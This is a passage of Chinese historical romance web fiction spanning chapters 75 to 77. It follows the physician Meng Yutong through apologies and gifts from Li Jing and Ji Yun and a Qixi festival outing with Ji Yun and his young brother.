纪昀眼皮微不可闻轻颤,不过一瞬,他面色恢复如常,只眼睫低垂,掩去眸中一闪而过的复杂神色,并未接话。 两人性子南辕北辙,但经过今日这番开诚布公的谈话,关系反倒无形间拉近了几分。 纪昀转而问道:“既已来临安,为何不与玉桐表明身份,兄妹相认?” 柳思钧叹了口气:“原本此行,只想远远看她风光出嫁,了却一桩心事,并未打算相认。谁知后来生出这许多变故。如今再特意去说,反倒显得刻意。 “况且,她日子过得风生水起,我倒是不愿拿这已经断了的亲缘来打搅她。眼下这般,能常伴左右护她周全,似乎也不错。” 他话锋一转,看向纪昀,“说起来,你们当初究竟为何退婚?这事我问过桐桐好几回,她总是含糊其辞。” 提及退婚之事,若在以往,纪昀或许会觉得无足轻重。可如今,他大约有了关于那缘由的猜想后,再碰上有人问起,他心头便莫名涌上一股难以言喻的烦躁。 他不再接柳思钧的话茬,转而抬眸,神色如常地与下一位等候的病患交谈起来,将柳思钧晾在了一旁。 柳思钧见状,只能无语地翻了个白眼,抱臂靠在身后的靠椅上,又是幽幽说了句:“定是桐桐没瞧上你,你不好意思说。” 恰在此时,一位身着淡绿比甲、作丫鬟打扮的姑娘,手持一张撒金朱红帖子,穿过候诊的人群,来到柜台前,声音清脆地问道:“请问孟大夫可在堂中?” 白芷迎上前,客气回道:“这位姑娘,若是看诊,请到后头依次排队。今日孟大夫歇息,馆中另有大夫坐诊。” 那丫鬟摆了摆手,将手中请帖递上,解释道:“奴婢是景福公主府上的。七月十五,公主于府中设宴庆贺芳辰,特命奴婢前来,将此请帖呈予孟大夫。公主特意交代,届时务请孟大夫拨冗莅临。” 白芷接过那烫金帖子,一时有些怔忡。 景福公主?公主殿下的生辰宴,为何会特意给她家姑娘下帖?她依稀记得姑娘提过,前次在纪府寿宴上,这位公主似乎对姑娘颇有微词…… 她不由得将困惑的目光投向不远处的纪昀。 纪昀起身走近,从白芷手中取过请帖,展开略一扫视,见其上字迹工整,印信齐全,确是公主府制式。 他心中虽也觉此事蹊跷,面上却不动声色,对那送帖的丫鬟道:“孟大夫此刻正在歇息,帖子已收到。届时是否赴宴,还需看她意愿。你回去如实回禀即可。” 那丫鬟却面露难色,踌躇片刻,还是怯生生地补充道:“公主特意吩咐,需得亲耳听到孟大夫应允,奴婢……奴婢才好回去复命。” 纪昀指尖摩挲着请帖边缘,语气平淡无波:“那你便回禀姑母,今日我在此处,这帖子,暂且由我代收。” 他此话并未将话说死,留有余地,毕竟他无意越俎代庖,替孟玉桐做主。 那丫鬟听到纪昀的自称,立刻明白了他身份,脸上的紧张之色顿时消去大半,连忙朝他恭敬地福了一礼:“奴婢明白了,多谢纪公子。奴婢这便回府向公主复命。” 景福公主的请帖送到孟玉桐手中时,已是午后。 听白芷转述了公主务必邀她赴宴的口信,孟玉桐心下便有了几分猜测。想来是此前在青岚寺为公主诊治腿疾的方子见了效,公主此番借生辰之名邀她过府,多半是想让她再仔细瞧瞧旧患。 纪昀在一旁留意着她的神色,适时开口道:“若你觉着不便,我可代为回绝。” 孟玉桐轻轻摇头:“既然公主诚意相邀,我自然盛情难却。” 纪昀若有所思。姑母的生辰在七月半,如今方才五月,时日尚早。眼下最紧要的,仍是控制住城中肆虐的腹泻之症。 所幸,这几日照隅堂内收治的几位重症病患皆已陆续好转,证明他与孟玉桐共同拟定的方剂确是对症。后续只需将此方连同珍贵的石莲子分发至城中各医馆,通力协作,相信假以时日,此疫便可平息。 就着病情又商讨几句后,纪昀寻了个由头,神色坦然道:“医官院近来事务不算繁冗,我想着,今后上午在院中当值,下午便来照隅堂与你一同坐诊。一来,可略尽绵力,答谢你慷慨赠药之义;二来,多一人分担,也好让求诊的百姓早些解除病痛,免去排队久候之苦。” 他言辞恳切,理由充分,孟玉桐若再推拒,倒显得有些不近人情了。 也罢,他既愿来,便来吧。横竖多一位医术精湛的大夫坐镇,每日能诊治的病患数量也能增加,于照隅堂的声誉和日后评选官册医馆皆有益处。 光阴荏苒,倏忽间一个多月过去。在医官院统筹与众医馆协力之下,加之卫生举措得当,城中肆虐已久的腹泻之症终得遏制,至七月上旬,原先的病患不论重症轻症,皆已痊愈,新增病患更是寥寥无几。 这期间,孟玉桐日日忙于照隅堂诊务,而纪昀果真如他所言,几乎雷打不动,每日下午必至。起初孟玉桐尚存几分客气,但久而久之,倒也习惯了他存在。 两人于诊案前并肩而坐,或探讨疑难病症,或默契配合施治,纪昀医术精湛,行事严谨且极有耐性,面对再焦躁的病患也能温言安抚,于细节处往往有独到见解,令孟玉桐亦不禁暗自佩服。 相处日久,虽谈不上如何亲近,但先前那层无形的隔阂,确在日复一日的共事中悄然消融了几分,相处间多了几分自然而然的熟稔。 第75章 七月初七接连到访 临安城中肆虐多时的腹泻之症终得缓解,恰逢七夕佳节,这座沉寂了数月的古城,仿佛一夜之间被注入了新的活力,藉着这乞巧浪漫的由头,驱散了连日来的阴霾,焕发出劫后余生的蓬勃生气。 甫过午时,御街两侧便已悬灯结彩,南北瓦舍中丝竹喧阗,百戏杂陈,引得游人如织。 和乐楼前更是车马骈阗,华灯初上时分,整座楼宇便笼罩在一片流光溢彩之中,门前人流络绎不绝,喧声鼎沸。 桃花街本不算宽阔,此刻更是被各式摊贩占满,售卖花灯、珠翠、巧果、香药的摊子鳞次栉比,吆喝声、笑语声交织成一片。 望仙桥上,早已被祈福的红色丝带缠绕得密密匝匝,桥畔那株老桃树亦是缀满了各式精巧灯笼与彩绦,在暮色中闪烁着温暖的光晕,映照着往来行人带笑的面庞。 临近酉时,照隅堂众人用罢晚饭,将馆内稍作收拾。 这几日诊务清闲,孟玉桐便未让刘思钧等人过来帮手。他们前些时日也劳累许久,难得几日清闲,自去酒楼相聚了。 刘思钧遣了梅三来邀馆中众人同往,吴明与白芷皆是爱热闹的性子,逢此佳节,心思早已飞到了外头的喧嚣之中,听得邀请,目光便不约而同地悄悄瞟向孟玉桐。 孟玉桐见他们那副期盼模样,不由莞尔,便让二人随梅三同去,自己则留下来守着医馆。 此时馆中并无病人,孟玉桐独坐于柜台之后,翻开了照隅堂近期的收支细录,凝神细看。 册上墨迹清晰地记录着:五月至七月间,共诊治腹泻病患八百七十二人次,其中重症三十九例,耗费黄连、葛根、白头翁等主药若干,石莲子赠x药计三十份…… 虽药材所费不赀,然诊金与药费收入亦颇为可观,收支相抵,盈余竟比预想中多了三成。 她合上册子,心下稍慰。这段时日虽则辛苦,众人皆劳心劳力,但终究使得城中时疫得以控制,更令照隅堂的名声藉此传扬开来。 她本就医术精湛,待病患又总是温言细语,耐心周到,不少曾在此处诊治过的病人,后来身体若有不适,竟会特意绕远路前来寻她。 她暗自盘算,往后的日子,只需这般稳扎稳打,再配制些效用各异的香囊售卖。 如今暑气渐盛,此前备下的安神香囊可酌情减量,转而多制些驱蚊虫、避秽浊、提神醒脑的香囊。日后还可再琢磨些诸如药枕、防疫药散、夏日清心饮子之类的小物件,既能惠及百姓,亦能增添进项。 她心中已有诸多构想,正好趁着眼下稍得清闲,便可一一着手尝试。 正兀自思忖间,忽闻脚步声起,她便搁下册子,抬眸望去。 但见来人一身云纹锦袍,腰束玉带,打扮得甚是矜贵,只那腰间赫然悬着一只绣工略显不羁、图案依稀辨出是只乌龟的香囊,平添了几分滑稽。 正是李璟。 他身后还跟着一个形容局促的中年男子,那人缩着肩膀,眼神躲闪,不时偷偷四顾,一副惶惶不安的模样。 此人是八珍坊原先的掌柜,郑辉。 孟玉桐看着这两人,不知这位世子爷今日又是唱的哪一出,只淡淡启唇:“李世子,许久未见,贵体想必已大安?” 不过一句寻常客套,听在李璟耳中,却让他心头莫名一热。 他脚下不由快了两步,凑到柜台前,连忙应道:“好、好多了!全赖你上回妙手诊治!” “世子言重了。”孟玉桐神色平静,目光清凌凌地扫过他与他身后之人,“不过是借了照隅堂一方陋室让世子暂住,世子得以痊愈,多是纪医官悉心照拂之功。不知世子今日前来,所为何事?” 李璟见她这般疏淡,有些着恼地转过身,瞪了身后的郑辉一眼,语气不善:“磨磨蹭蹭作甚!没吃饭吗?” 郑辉被他喝得一哆嗦,连忙小跑上前,点头哈腰:“小的在,小的在。” 他转向孟玉桐,毕恭毕敬地深揖一礼,脸上堆出懊悔痛心的神色:“孟大夫,是小人有眼无珠,一时糊涂,受了小人蛊惑,行那等构陷照隅堂的龌龊事!此事与我们世子爷绝无半点干系,全是小人自作主张!今日要打要罚,但凭孟大夫处置,小人绝无半句怨言!” 其实上一回经过表兄点醒后,李璟便想过要来照隅堂道歉了,只不过自己到底养尊处优多年,是个娇惯到大的性子,哪里这样姿态谦卑地去讨好过旁人? 于是这事情在他心中搁置了许久。上一回他不甚染上腹泻之症,纪昀带着他来照隅堂诊治,孟玉桐竟也待他如常,他心中便愈发羞愧。 他特意今日押着郑辉前来,一是想借此在孟玉桐面前澄清自己,挽回些许形象;二来,也是存了份私心,想借着七夕佳节,寻个由头再来见她一面,哪怕只是说上几句话也好。 郑辉一番话说完,略显忐忑地觑了觑孟玉桐的神色,又悄悄瞥向李璟,心中惴惴,不知这番说辞能否过关。 李璟也颇为紧张地望着孟玉桐,他生平头一回这般低声下气地给人赔罪,也不知章程是否妥当。他原想着不如将郑辉当场责打一番,好替孟玉桐出气,又恐此举过于粗暴,反倒唐突了她。几经思量,终是按捺下来,未敢妄动。 孟玉桐受这两人轮番打量半天,方才慢条斯理地开口,声音清凌如玉:“郑掌柜此言差矣。八珍坊乃世子爷名下产业,素日全权交由掌柜打理。我亦听闻郑掌柜精于算计,长袖善舞,却不知是何等人物,竟能说动掌柜行此等有损阴鸷之事?更不知似那等唆使人签下阴阳契书、图谋他人产业的勾当,郑掌柜往日还做过多少?” 郑辉闻言,膝弯顿时一软。他原以为这女子年轻面嫩,自己在她面前扮足可怜,或许能令她心软将此事揭过。如今看来,她竟是仗着世子的青眼,不肯轻轻放过! “孟、孟大夫明鉴啊!”他慌忙躬身,几乎要跪下去,脸上挤出万分恳切又委屈的神情,“小人当真是一时猪油蒙了心,才……才受了那起子小人的蛊惑!小人敢对天发誓,此前绝未做过此等伤天害理之事!还望孟大夫高抬贵手,给小……给小人一个改过自新的机会,小人日后定当结草衔环以报!” 孟玉桐闻言,唇角微弯,漾开一抹浅淡的笑意。落在李璟眼中,只见灯下美人如玉,清雅不可方物,那笑意虽淡,却仿佛带着钩子,直直挠在他心尖上,令他心跳骤然失序,下意识地捏紧了腰间那只香囊。 “郑掌柜何必急于撇清?”她语气依旧平和,字字清晰,不容闪躲,“阴阳契书之事,证据确凿。掌柜做过什么,心中自然有数。今日您要赔礼,对象恐怕也不止我一人。更何况……” 她眼波微转,意有所指地扫了一眼旁边的李璟,“掌柜今日前来,究竟有几分诚心,你知,我知。” 李璟被她这一眼看得莫名心虚,下意识地摸了摸鼻子。 孟玉桐目光落回李璟身上,语气缓和了些许:“世子今日愿屈尊降贵,携人来此致歉,足见并非不明事理之人。还望世子今后明辨忠奸,亲贤远佞,勿使明珠蒙尘,小人得志。” 李璟被她说得面皮发烫,言语间都带了丝窘迫的支吾:“我……我确是……” 那“有错”二字在喉头滚了又滚,终究难以坦然出口。 憋了半晌,他才梗着脖子道:“总、总之!往后断不会再有此等事发生!” 一旁的郑辉听得心惊肉跳。他在李璟手下做事数年,深知这位世子爷性子骄纵,眼高于顶,且耳根子软,往常自己稍加撺掇,便无有不成。 今日这是怎么了?竟在这小女子面前转了性,还乖乖听训!真真是太阳打西边出来。他一时竟忘了自身处境,只拿一种见了鬼似的惊诧眼神,死死盯着李璟。 下一瞬,他看到了更令他瞠目结舌的一幕。只见李璟竟从袖中摸索半晌,取出一个精巧的锦盒,随即面染薄红,将那盒子一把塞入孟玉桐手中。 “我今日是诚心来赔不是的,这个送给你。”他话音未落,已飞快别开脸,不敢去看孟玉桐神情,却正好对上郑辉那双瞪得溜圆、写满难以置信的眼睛,仿佛在瞧一个魇着了的失心之人。 李璟正自羞恼,见状更是气不打一处来,厉声喝道:“你还杵在这儿碍眼作甚!还不快滚!” 郑辉一个激灵,连声应道:“是是是,小的这就滚,这就滚!” 他慌忙转身欲溜,不料医馆门外忽传来一阵嬉笑喧哗。不过片刻,几个身着华服、意态风流的公子哥儿便涌了进来。 为首那人扬声便道,语气满是戏谑:“哟!明远兄,你不是说今日身子不爽利,要在府中将养么?怎地竟跑到这桃花街上来了?” 窦志杰这一嗓子,顿时让李璟从耳根到脖颈都红透,窘得恨不得寻个地缝钻进去。 他此刻哪里还顾得上去看孟玉桐是何反应,当即转过身,几乎是半推半攘地将窦志杰一行人往外赶,口中胡乱搪塞道:“你们几个不去酒楼寻欢作乐,跑到这医馆里来凑什么热闹?” 到了门外,窦志杰停下脚步,折扇轻摇,一脸促狭地凑近李璟,压低了声音,语调拖得老长:“明远兄瞧着……倒真像是病了。不过嘛,依我看来,你这病的症结不在身上,而在心里——怕是害了那相思之症!” 他手中折扇“唰”地一展,眉眼间流转着一股久经风月、洞悉人情的倜傥与世故。 窦志杰在他们这群公子哥儿里年岁最长,也最是风流放达,不拘形迹,家中虽早有妻妾,却丝毫不妨碍他在外诗酒风流,赏遍芳华。 正因他这般性情,才能一眼窥破李璟待孟玉桐那份不同寻常的在意。 他这话音虽轻,面上那暧昧调侃的神色却昭然若揭。周围几人闻言,立刻嗅到不寻常的气息,正要起哄,李璟已抢先一步喝道:“休要在此胡言乱语,挡了人家开门做生意!说,今夜想去哪家酒楼?小爷我做东!” 一听李璟要请客,众人顿时眉开眼笑,前呼后拥地簇拥着他,转眼间便x离开了桃花街。 被人推挤着踏上望仙桥时,李璟忍不住回头,朝照隅堂方向望了一眼。只见柜台边那抹清丽的身影,正打开他送出的锦盒,垂眸细看。 他脸上刚褪下的热度瞬间又涌了上来,慌忙转过头,随着人潮下了桥,往御街方向去了。 李璟走后,孟玉桐将手中那方锦盒完全打开,只见丝绒衬底上静静躺着一对白玉兰耳坠。 玉质莹润无瑕,雕工细致入微,花瓣形态舒展自然,通体透着一股清雅脱俗之气,一望便知价值不菲。 孟玉桐眼眸微垂,灯影勾勒着她的侧脸,神色看不分明。 李璟既言明这是赔罪之礼,念及此前医馆开业时确因他之故横生枝节,自己也算受了一番折腾,此物虽显贵重,她受之倒也并无不安。 未作多想,她正欲将锦盒收起,却听得门外脚步声又起。 抬眸望去,但见来人一身青玉色长衫,身形挺拔清瘦,腰间仅缀一枚同色系、雕琢成半阙双鱼状的玉佩。 第76章 七月初七赠紫玉簪 纪昀步履从容,缓步往堂内走来,一身青衫穿就,周身自带一股清冷出尘之气,仿佛将身后街市的喧嚣热闹都隔绝开来。 然而那片人间灯火又为他疏离清淡的轮廓悄然添上几笔难得的暖色。 孟玉桐心下掠过一丝淡淡的诧异,今日是什么日子,怎么接二连三的都往她这医馆里跑? 她看向纪昀,微微颔首以示问候。 “今夜馆中只你一人在?”纪昀从容走近,十分自然地停在柜台前。 目光不经意间扫过柜面上那敞开的锦盒,里头那一双白玉兰耳坠清晰地映入他眼帘。 “今夜外头热闹,医馆左右也无事,便让他们都出去松快松快了。”孟玉桐答道,随即直白相询,“你有事吗?” 她语气平淡,连寻常的寒暄客套都省了,仿佛若无事由,便不打算多言。 纪昀神色微噎,眼神从她身上极快的扫了一眼。 但见她一身胭脂紫色的裙衫,那颜色极淡,宛若暮色四合时天边最后一抹被烟霞浸染的云光。青丝绾作简单的样式,鬓边只簪一支素银簪子,并一朵浅粉色的茸茸小花。 虽是再素净不过的装扮,却愈发衬得她清丽难言,恰似月下初绽的清荷,又像细雨迷蒙中一枝带露的白梨,别有动人心处。 纪昀并未掩饰自己的目光,他静静凝着她,语气平静而笃定:“你身着这般清雅之色,更显风致。过于素净的白色,反倒难以尽显你的气韵。” 孟玉桐还是头一回听纪昀与她谈论女子衣饰装扮,只觉得眼前这情形透着几分说不出的怪异。 “你今夜特意前来,就为了与我说这个?”她微微偏首,眸中带着一丝不解与探究,望向纪昀。 纪昀将她这细微的反应尽收眼底,唇角几不可察地弯了一下,随即从袖中取出一方红木匣子,轻轻置于柜面之上,耐心解释:“姨母寿辰在即,她素日眼光挑剔,若你尚未备妥贺仪,或可考虑以此物相赠。” 他抬手掀开匣盖,只见内里衬着玄色软绸,上面静静躺着一支紫玉簪。 簪身乃上好的紫玉雕琢而成,玉质温润,光华内蕴,其间仿佛流淌着氤氲的霞光云影。 簪头则是一朵盛放的玉芙蓉,花瓣层叠舒展,形态逼真,更有点睛之笔,两只以细巧金丝嵌缀的紫玉蝴蝶停驻于花心,蝶翼薄如蝉翼,栩栩如生,似下一刻便要振翅飞起。 仔细瞧……那簪头上的蝴蝶还有一两分眼熟…… 孟玉桐目光掠过那支显然价值不菲的玉簪,神色并未动摇,婉言推拒:“多谢好意,不过寿礼我已备下。此物过于贵重,我不便收受。” 纪昀闻言,神色未变,只淡淡道:“此物终究是女子所用,于我并无用处。既然你已备下寿礼,此簪留在我处也是徒然。” 他语声平稳,目光似不经意般又扫过柜面上那对白玉兰耳坠,眸色微深,续道:“不过你既能坦然收下他人之赠,若独独退回我所赠之物,倒显得是对我仍存芥蒂了。” 他微微垂眼,似是自嘲一声,声音轻不可闻,“原以为这些时日的相处下来,你我之间应是与从前不同了。却未想到,李璟此前那般无状,你却也愿意收下他的东西。唯独到我这里,总是不同。” 他这番话,既点明她收下李璟之物,又将是否收簪与是否对他心存偏见挂钩,还翻出这段时日他日日来照隅堂出力相助的事情来,听上去,竟是万分委屈,好像她是什么十足的凉薄狠心之人。 孟玉桐这人,其实吃软不吃硬。 她抬眸看了他一眼,见他神色低落,又瞧见他这些时日因两处奔波而清减几分的下颌,她略一沉吟,终是道:“既然如此便多谢纪医官美意。” 见她收下,纪昀眼底掠过一丝极淡的满意神色,转瞬即逝。 他复又开口,语气听起来依旧云淡风轻:“时辰不早,今夜医馆想必也无病患。外间正值热闹,可愿一同出去走走?” 他话虽说得随意,那垂在身侧的手却不自觉地微微收拢,透露出与平日沉稳迥异的些许紧绷。 孟玉桐浅淡一笑,婉言相拒:“我素来不喜喧闹之地。” 这回答似乎在纪昀预料之中。 他眼睫轻颤,正欲再言,门外却先探进一个小脑袋。一张巴掌大的小脸上,嵌着一双乌溜溜、充满好奇的大眼睛,正滴溜溜地四下张望。 待瞧见屋内的熟悉身影,那小人儿立刻像只灵巧的雀儿,“嗖”地一下从门缝里钻了进来。 纪明个子尚不及柜台高,跑到纪昀身边,扯了扯他的衣袖,仰着小脸要他抱。 纪昀从善如流地弯腰将他抱起。 纪明人虽在兄长怀中,小手却急切地伸向孟玉桐,软声央求:“孟姐姐,外头可好玩啦!你带我去逛逛好不好?我想和你一起去!” 他一边说着,一边扭动着身子,朝孟玉桐张开双臂,不由分说地环住她的脖颈,小脑袋像只撒娇的小兽般在她肩窝处轻蹭,声音又软又糯,带着十二分的央求:“孟姐姐,城里好不容易这么热闹,你一个人待在这里多无趣呀!你就陪我去嘛,去嘛!” 纪明使出了浑身解数,小嘴甜得像抹了蜜,一声声“孟姐姐”叫得又脆又甜,各种软语央求不绝于耳。 孟玉桐被他缠得心绪纷乱,难以招架,见他如此期盼,终是心下一软,无奈应允:“好罢,便陪你走走。” 御街之上,此刻已是灯影连片,人潮如浪。各式花灯争奇斗艳,舞龙弄狮、杂耍百戏引得围观者阵阵喝彩,沿街叫卖声、笑语声、丝竹声交织成一片。空气中弥漫着糖人、巧果、香药的甜暖气息。 纪昀牵着纪明,纪明另一只手紧紧拉着孟玉桐,两大一小的身影缓步融入这流光溢彩的人流之中。 行至一个售卖七夕应节小物的摊位前,那摊主见他们三人同行,纪明活泼可爱,两位大人虽略显疏离,但姿态自然,便笑着招呼:“郎君,娘子,给小公子买个‘巧思环’吧!一家三口戴着,寓意心灵手巧,和和美美!” 他拿起几个以彩绳编织、缀着小巧铃铛和玉饰的手环,热情介绍。 纪昀听闻那“一家三口”之言,眸中掠过一丝极淡的波澜,他并未出言纠正,反而顺着摊主的话,目光落在那些彩环上,语气平和地问道:“这些样式,有何不同讲究?” 那摊主闻言,立时眉开眼笑,取出三只彩环,热情地塞到三人手中,口中滔滔不绝:“三位请看,这‘巧思环’用的是上好的五色丝线,寓意五福临门,这铃铛响动是为驱邪避祟,这小玉饰乃是和田籽料,寓意平安顺遂……” 孟玉桐垂眸望着手中被硬塞来的彩环,朱唇微启,正欲澄清。 一旁的纪明却早已捧着彩环爱不释手,小脸笑成了一朵花,忙不迭应道:“我要我要!就要这个!我有钱,我买来送给兄长和孟姐姐!” 他声音清脆,引得摊主哈哈大笑,爽快道:“小公子这般懂事,您买两个就成,另一个算小的送给小公子的!” 纪明闻言更是欢喜,立刻凑到摊前,认认真真地挑选起来。 摊子前甚是拥挤,左右皆是摩肩接踵的行人。 孟玉桐被人流推搡着,不免踉跄。纪昀见状,手臂微一用力,便将她轻轻带了过来,让她站到摊前相对安稳的位置,自己则转而立于她身后。 如此一来,他挺拔的身形便似一道无形的屏障,将周遭的熙攘与她隔开x,将她悄然环护在自己身前方寸之间。 周遭人声鼎沸,笑语喧阗,灯影流光溢彩。 然而在他圈出的这一小片天地里,喧嚣仿佛骤然远去。孟玉桐能清晰地感受到身后传来的、独属于纪昀的清冽气息,带着若有若无的药草冷香,与他胸膛透过薄薄衣衫传来的、稳定而温热的体温。 她背脊微微僵直,耳根泛起一层薄红,僵硬地直视着前方。 纪昀亦垂眸,视线落在她纤细的颈项和那微微泛红的耳尖上,喉结几不可察地滚动了一下,环着她的手臂克制地保持着恰到好处的距离,既提供了庇护,又未曾真正贴上,唯有衣袖相叠,带来细微的摩擦感。 那摊主极有眼力,见状大声夸赞道:“公子真是细心!人长得这般俊俏,心思还如此细腻,懂得护着娘子,真是位难得的好郎君!” 孟玉桐闻言,再无法保持沉默,侧首解释道:“店家误会了,我们并非你所说的关系。” 摊主却一副了然于心的模样,笑得见牙不见眼,连连点头:“懂的,懂的!小老儿都懂!” 他懂什么了? 孟玉桐一时语塞,竟不知该如何分辩。 纪昀微微俯身,在她耳畔低语,声音平静无波:“市井之言,不必挂怀。” 不远处,南瓦子的看台雅座上,李婉轻轻捏了捏身旁纪宏业的胳膊,指着对街摊子前那几道熟悉的身影,语气中满是讶异:“夫君,你瞧,那是不是玉桐和昀儿?” 纪宏业顺着她所指望去,神色亦是一顿,随即严谨地补充道:“还有明儿。” 李婉不由失笑,“这岂是重点?重点应是玉桐与昀儿竟在七夕佳夜相携同游,他们二人……” 她话语微顿,面上浮现出一抹意味深长的浅笑,“看来,我们家那块沉敛过甚的顽石,终是透出些许灵光来了。” 纪宏业闻言,忽想起前些时日。 彼时他刚从宫中得了一块上好的紫玉,原打算为妻子琢一只玉镯,再为纪昀制一方镇纸。 他素日闲暇便喜钻研木石雕刻,聊以自娱,连纪明也跟着学了些皮毛,唯独纪昀对此道向来兴致缺缺。 然而那次,他问纪昀想要何种纹样时,纪昀端详那紫玉料良久,竟破天荒地提出想随他学习雕刻,欲亲手雕琢一件器物。 纪宏业当时便觉诧异。 这孩子自昭儿去后,除医道外,几乎对万物都失了兴致。 那回主动请学,着实令他有些意外。父子二人难得共处一室,他用些废石料给纪昀练手,传授基础技法。 纪昀天资聪颖,不过半月,已能独立雕出些像样的简单物件。 纪宏业本想着,雕刻乃水磨工夫,需长久积淀,既纪昀喜爱那紫玉料,合该徐徐图之,待技艺纯熟再动刀不迟。 未料,向来行事章法严谨、不急不躁的纪昀,在此事上却似失了平日的分寸。 那段时日,他几乎是废寝忘食地沉浸于雕刻之中。不过月余,他便径直取用了那块珍贵的紫玉料开始动工。 纪宏业原以为他会雕一方镇纸,却眼睁睁看着那般大一块玉料,在他手下渐渐显露出……一支女子发簪的雏形。 彼时,他心中对此簪最终将落于何人之手,尚存一两分猜测。 今夜得见,答案已然昭然。 他收回目光,看向身旁眉眼含笑的妻子,缓声接道:“是啊,终是开窍了。” 第77章 第77章远离是非,各自安好。…… 纪昀与孟玉桐这边,他们终究是买下了那三只“巧思环”,在纪明的软磨硬泡下,三人各自戴上了一只。 远远望去,那并肩而行、中间牵着个活泼孩童的景象,倒真有几分寻常人家的温馨模样。几人又信步逛了售卖精巧花灯的摊位,看了片刻皮影戏,方才随着人流缓缓前行。 行至城西,但见一处空地被围得水泄不通,原是那张瞎子说书的摊子。今日七夕,他讲的仍是那出脍炙人口的《破镜误》,此刻正巧到了最后一回。 那张瞎子虽目不能视,此刻却仿佛亲见剧中情景,讲到激动处,眉飞色舞,手中折扇开合敲击,抑扬顿挫,将书中人的悲欢离合渲染得淋漓尽致。 这故事讲的是一对有缘男女,阴差阳错结为连理,却又因重重误会与性情不合而分离。 分离之后,反倒机缘巧合,在一次次的相遇与共事中,得以窥见彼此真实的一面,悄然改变了最初的印象。 这最后一回,正是那男主人公放下身段,剖白心迹,意图破镜重圆的关键时刻。 此前听这《破镜误》,纪昀只觉是寻常话本,心中并无波澜。 可今时不同往日,自身历经诸般心境变迁,再闻此曲,竟觉字字句句都似敲在心坎上,隐隐引动共鸣。 倘若他那些关于“前世”的猜测为真,那他与孟玉桐,岂非正如同这戏文中的男女主人公一般? 他忍不住侧首,悄然凝视孟玉桐的侧颜。 她静立于人群之中,目光淡淡投向说书台,面上神情一如往常般恬静宁和,宛若月下幽兰,并未因那缠绵悱恻的情节泛起丝毫涟漪。 纪昀心中不禁生出几分忐忑与探究,她心中,究竟是如何作想? 台上,张瞎子正讲到那男子如何恳切陈情,如何坦诚过往错失,言辞真挚,意图挽回。台下听客无不屏息凝神,皆想知晓那女子最终抉择。 偏偏在此紧要关头,张瞎子“唰”地展开折扇,慢条斯理地端起一旁茶盏,咕咚咕咚饮了大半盏,又抬手整理起本已平整的衣袍,偏生就是不往下说了。 这一下,直将台下众人的胃口吊到了十足十。所有目光皆紧紧锁在说书人身上,盼着他快些揭开结局。 唯纪昀的视线,始终落在孟玉桐身上。 他轻声问:“玉桐,若你是那女子,当如何抉择?” 孟玉桐闻声转过头来,眸光清亮地看着他:“我并未听过前情。不过上回听云舟略提过,说是这话本中的男女主人公,昔日分离乃是源于误会与性格。既然如此,” 她语气平和,却带着一种淡然与冷静,“不知那误会,如今可曾澄清?不知两人性格,又是否有转变? “若未曾澄清,那男子即便言辞再如何恳切动人,也不过是空中楼阁,无根之木。往事重演,大抵是必然的结局。若换作是我……” 她微微一顿,声音虽轻,却异常清晰,“我会选择远离是非,各自安好。” ‘各自安好’。 因她这番话,纪昀眸中倏然翻涌起一片莫名的黑,他垂在身侧的手缓缓收紧,手腕上,那只巧思环中嵌着的玉石冰凉,恰好落在他腕心,带来清晰的冰冷的触感。 倏忽之间,他因今夜同游而隐约泛起的些许欢愉一瞬消散殆尽。 随之升腾而起的,是后怕。 纪昀骤然明晰,孟玉桐看似温柔随和,实则内里坚韧无比,极有主见。 她的心门,并非几句剖白、几分殷勤便能轻易叩开。自己此刻那尚未理清、更无十足把握的心意,绝不能轻易宣之于口。 纪明敏锐地察觉到兄长与孟姐姐之间流动的气氛似乎凝滞了些,虽不明所以,却本能地感到不安。 他只好一左一右轻轻晃了晃两人的手,小声嘟囔:“兄长,孟姐姐,我累了,我们回去好不好?” 于是,那一出《破镜误》的最终结局,他们终究未能听到,便随着渐散的人流,转身踏上了返回桃花街的路。 此时已近亥时,街市上的喧嚣渐渐平息,许多摊贩已开始收拾家伙准备归家,盏盏灯火次第熄灭,唯余天边一弯清冷新月,洒下淡淡银辉,为归途笼上一层静谧。 纪昀将孟玉桐送至桃花街照隅堂门前。 几人刚在医馆门口站定,便瞧见一道熟悉的身影正等在门外。那人怀中抱着一个硕大的竹编箩筐,正仰头看着门上已然落下的铜锁,面露失望之色。 待他回过头,瞧见孟玉桐一行人,脸上顿时阴转晴,绽开笑容,快步迎了上来。 “玉桐姐姐!”何浩川抱着那沉甸甸的箩筐快步上前,在孟玉桐面前站定,眉眼间满是掩不住的欣喜,“我见馆内熄了灯,还以为你今日回府歇息去了。” 孟玉桐冲微微颔首,声音温和:“方才去街上随意走了走。你特意前来,可是有事?” 何浩川将怀中竹筐往前递了递,语气自然热切:“近来天暑,我瞧着姐姐用饭时胃口都浅了些。这是今日刚从城外园子里摘下的新鲜瓜果,个个饱满,汁水也足,我特意挑了些品相最好的给姐姐送来。” 此时正值七月初七,小暑刚过,暑气未消。 那箩筐里堆满x了刚从城外果园采摘下来的时令鲜果,打眼一瞧,只看见饱满水润的紫红色葡萄犹带白霜,青黄相间的脆梨透着清甜香气,还有几支嫩生生的莲蓬,红艳艳的石榴,以及一只大西瓜。正是七夕乞巧、寓意多子多福的应景之物。 一旁的纪明瞧见那筐里色彩鲜亮、水灵灵的果子,眼睛立刻亮了,眼巴巴地瞅着,几乎挪不开眼。 孟玉桐见他这副馋样,不由失笑,同何浩川温声道了谢,便准备从袖中取出钥匙开门,却见对街王记饮子铺的掌柜王勇远远瞧见了他们,热情地高声招呼起来。 今日生意极好,他铺子里的饮子已卖得所剩无几,正准备收摊归家。 只见他手脚麻利地拿起长柄木勺,从桶底舀出最后些许浓淡适宜的陈皮饮子汤,稳稳倒入几个陶碗中,随即用托盘端着四碗饮子穿过街道送来,爽朗笑道:“孟大夫,正好还剩些您素日爱喝的陈皮饮子汤,诸位若不嫌弃,便一人一碗,帮小老儿清了这底吧,也省得糟蹋了!” 孟玉桐含笑谢过。几人便捧着微凉的饮子,一同进了照隅堂。 一入门,何浩川便熟稔地帮忙插门点灯,拿起几把椅子搬到后院招呼几人坐下,而后又抱着那筐水果转向后院。 他轻车熟路地从墙角取来几个干净的竹篾小匾,将葡萄、脆梨等一一分拣出来,放置在一边的石桌上,又利落地从井中打上一桶沁凉的井水,将那个头硕大的西瓜小心浸入水中。 他一边忙着,一边扭头对孟玉桐道:“玉桐姐姐,这西瓜用井水湃上一夜,明日午后切开吃,最是清凉解暑!” 